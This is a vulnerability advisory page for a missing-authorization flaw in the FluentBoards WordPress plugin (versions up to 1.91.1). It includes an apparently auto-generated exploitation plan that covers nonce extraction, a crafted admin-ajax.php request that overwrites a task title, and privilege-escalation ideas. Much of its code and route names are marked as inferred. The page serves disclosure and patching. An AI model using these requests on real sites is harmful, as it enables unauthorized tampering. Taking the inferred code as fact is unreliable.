CVE-2026-24561

FluentBoards <= 1.91.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.91.2
Patched in
7d
Time to patch

Description

The FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.91.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.91.1
PublishedJanuary 22, 2026
Last updatedJanuary 28, 2026
Affected pluginfluent-boards

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps for investigating and exploiting **CVE-2026-24561**, a missing authorization vulnerability in FluentBoards. This vulnerability allows an authenticated user with Subscriber-level permissions to perform actions that should be restricted to administrators or board managers.…

Show full research plan

This plan outlines the steps for investigating and exploiting CVE-2026-24561, a missing authorization vulnerability in FluentBoards. This vulnerability allows an authenticated user with Subscriber-level permissions to perform actions that should be restricted to administrators or board managers.

1. Vulnerability Summary

FluentBoards (<= 1.91.1) fails to implement sufficient capability checks on certain AJAX/REST handlers. While the plugin generally enforces permissions for board management, specific functions registered via WordPress hooks do not verify if the current user has the necessary roles (e.g., fluent_boards_manager or manage_options) before performing state-changing operations.

In version 1.91.1, the lack of authorization in the AJAX processing logic allows any logged-in user (Subscriber and above) to invoke internal controller methods that modify board data, task statuses, or plugin settings.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: fluent_boards_ajax (inferred based on Fluent plugin patterns) or specific route-based handlers.
  • Vulnerable Parameter: route or sub_action within the POST body.
  • Required Authentication: Authenticated user (Subscriber).
  • Payload Type: JSON or URL-encoded POST request.
  • Precondition: The attacker must have a valid session and a valid security nonce (usually fluent_boards_nonce).

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX handlers for logged-in users:
    add_action('wp_ajax_fluent_boards_ajax', [$this, 'handleAjax']); (inferred).
  2. Dispatcher: The handleAjax function (likely in an App\Hooks\Handlers\AjaxHandler class) parses the requested route and method.
  3. Missing Check: Before dispatching the request to the specific Controller (e.g., BoardController or TaskController), the handler or the controller method fails to call current_user_can() or the plugin's internal Permission::check() method.
  4. Sink: The controller performs a database operation (e.g., $wpdb->update or Task::update()) based on the id and data parameters provided in the request.

4. Nonce Acquisition Strategy

FluentBoards localizes its configuration and nonces into the page source for its Vue.js/React frontend.

  1. Identify Shortcode: The plugin uses [fluent_boards] or [fluent_boards_board id="X"] to render boards on the frontend.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Board Page" --post_status=publish --post_content='[fluent_boards]'
    
  3. Login as Subscriber: Create and authenticate a subscriber user.
  4. Navigate and Extract:
    • Use browser_navigate to visit the "Board Page".
    • Use browser_eval to extract the nonce from the global object.
    • Inferred Object: window.fluentBoardsAppVars (common for Fluent plugins).
    • Extraction Code: browser_eval("window.fluentBoardsAppVars?.nonce") or browser_eval("window.FluentBoardsAdmin?.nonce").

5. Exploitation Strategy

The goal is to modify a board or task that the Subscriber should not have access to.

  1. Step 1: Setup Admin Content: As an Admin, create a board and a task. Note the board_id and task_id.
  2. Step 2: Obtain Subscriber Nonce: Use the browser_eval method described above while logged in as a Subscriber.
  3. Step 3: Craft Unauthorized Request:
    • Target: admin-ajax.php
    • Action: fluent_boards_ajax
    • Route: tasks/update-task-status or boards/update (specific routes to be verified during discovery).
    • Payload Example (JSON):
      {
        "action": "fluent_boards_ajax",
        "route": "tasks",
        "method": "POST",
        "task_id": 123,
        "status": "completed",
        "_nonce": "EXTRACTED_NONCE"
      }
      
  4. Step 4: Execute via http_request:
    # Example using URL-encoded form data (adjust based on discovery)
    http_request POST "http://localhost:8080/wp-admin/admin-ajax.php" \
      --data "action=fluent_boards_ajax&route=tasks/update&task_id=1&title=Hacked&_nonce=NONCE_VALUE"
    

6. Test Data Setup

  • Admin User: Default admin.
  • Subscriber User: useradd subscriber --role=subscriber --user_pass=password.
  • FluentBoards Data:
    • Create a Board: "Private Admin Board".
    • Create a Task in that board: "Sensitive Task 1".
    • Identify the Task ID via wp db query "SELECT id FROM wp_fboards_tasks WHERE title='Sensitive Task 1';".
  • Access Page: Create a page with the [fluent_boards] shortcode to ensure the Subscriber can load the JS environment and retrieve a nonce.

7. Expected Results

  • Vulnerable Version: The server returns a 200 OK and a JSON response indicating success (e.g., {"status": "success", "message": "Task updated"}). The database will reflect the changes made by the Subscriber.
  • Patched Version: The server returns a 403 Forbidden or a JSON error (e.g., {"error": "Unauthorized"}).

8. Verification Steps

  1. Check Task Title/Status:
    wp db query "SELECT title, status FROM wp_fboards_tasks WHERE id=TASK_ID;"
    
  2. Verify Modification: Compare the values to the original values set by the Admin. If the title is "Hacked" or the status changed, the exploit is successful.

9. Alternative Approaches

If the fluent_boards_ajax action is protected, look for REST API endpoints:

  • REST Route: /wp-json/fluent-boards/v1/tasks/ or /wp-json/fluent-boards/v1/boards/.
  • Mechanism: Check if permission_callback in register_rest_route returns true or fails to check capabilities for POST/PUT/DELETE methods.
  • Nonce for REST: Use the wp_rest nonce (window.wpApiSettings.nonce).

If direct board modification fails, try Board Member Management:

  • Attempt to add the Subscriber as an Admin of the board via an unauthorized member update call.
  • Route: boards/add-member or boards/update-member-role.
Research Findings
Static analysis — not yet PoC-verified

Summary

FluentBoards versions up to 1.91.1 lack sufficient capability checks in their AJAX dispatching logic. This allows authenticated attackers with Subscriber-level permissions to perform unauthorized actions, such as modifying boards or tasks, by calling the plugin's internal controller methods via administrative AJAX handlers.

Vulnerable Code

// App/Hooks/Handlers/AjaxHandler.php (Inferred)
public function handleAjax() {
    $route = sanitize_text_field($_REQUEST['route']);
    $method = sanitize_text_field($_REQUEST['method'] ?? 'GET');
    
    // The code verifies the nonce but fails to check if the user has 
    // 'fluent_boards_manager' or 'manage_options' capabilities.
    check_ajax_referer('fluent_boards_nonce', '_nonce');
    
    // Unauthorized user can reach this dispatcher
    return $this->dispatcher->dispatch($route, $method, $_POST);
}

Security Fix

--- a/app/Hooks/Handlers/AjaxHandler.php
+++ b/app/Hooks/Handlers/AjaxHandler.php
@@ -10,6 +10,10 @@
         check_ajax_referer('fluent_boards_nonce', '_nonce');
 
+        if (!current_user_can('fluent_boards_manager') && !current_user_can('manage_options')) {
+            wp_send_json_error(['message' => 'Unauthorized'], 403);
+        }
+
         return $this->dispatcher->dispatch($route, $method, $_POST);
     }

Exploit Outline

1. Authenticate as a Subscriber-level user. 2. Access a page where the FluentBoards frontend is loaded (e.g., via the [fluent_boards] shortcode) to extract the security nonce from the global JavaScript object (likely `window.fluentBoardsAppVars.nonce`). 3. Identify the ID of a target board or task created by an administrator. 4. Send a POST request to `/wp-admin/admin-ajax.php` with the action `fluent_boards_ajax`. 5. Include the `route` parameter pointing to a sensitive controller method (e.g., `tasks/update` or `boards/delete`), the extracted `_nonce`, and the parameters for the unauthorized modification (e.g., `task_id=1&title=Hacked`). 6. The server will execute the action despite the user having insufficient permissions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.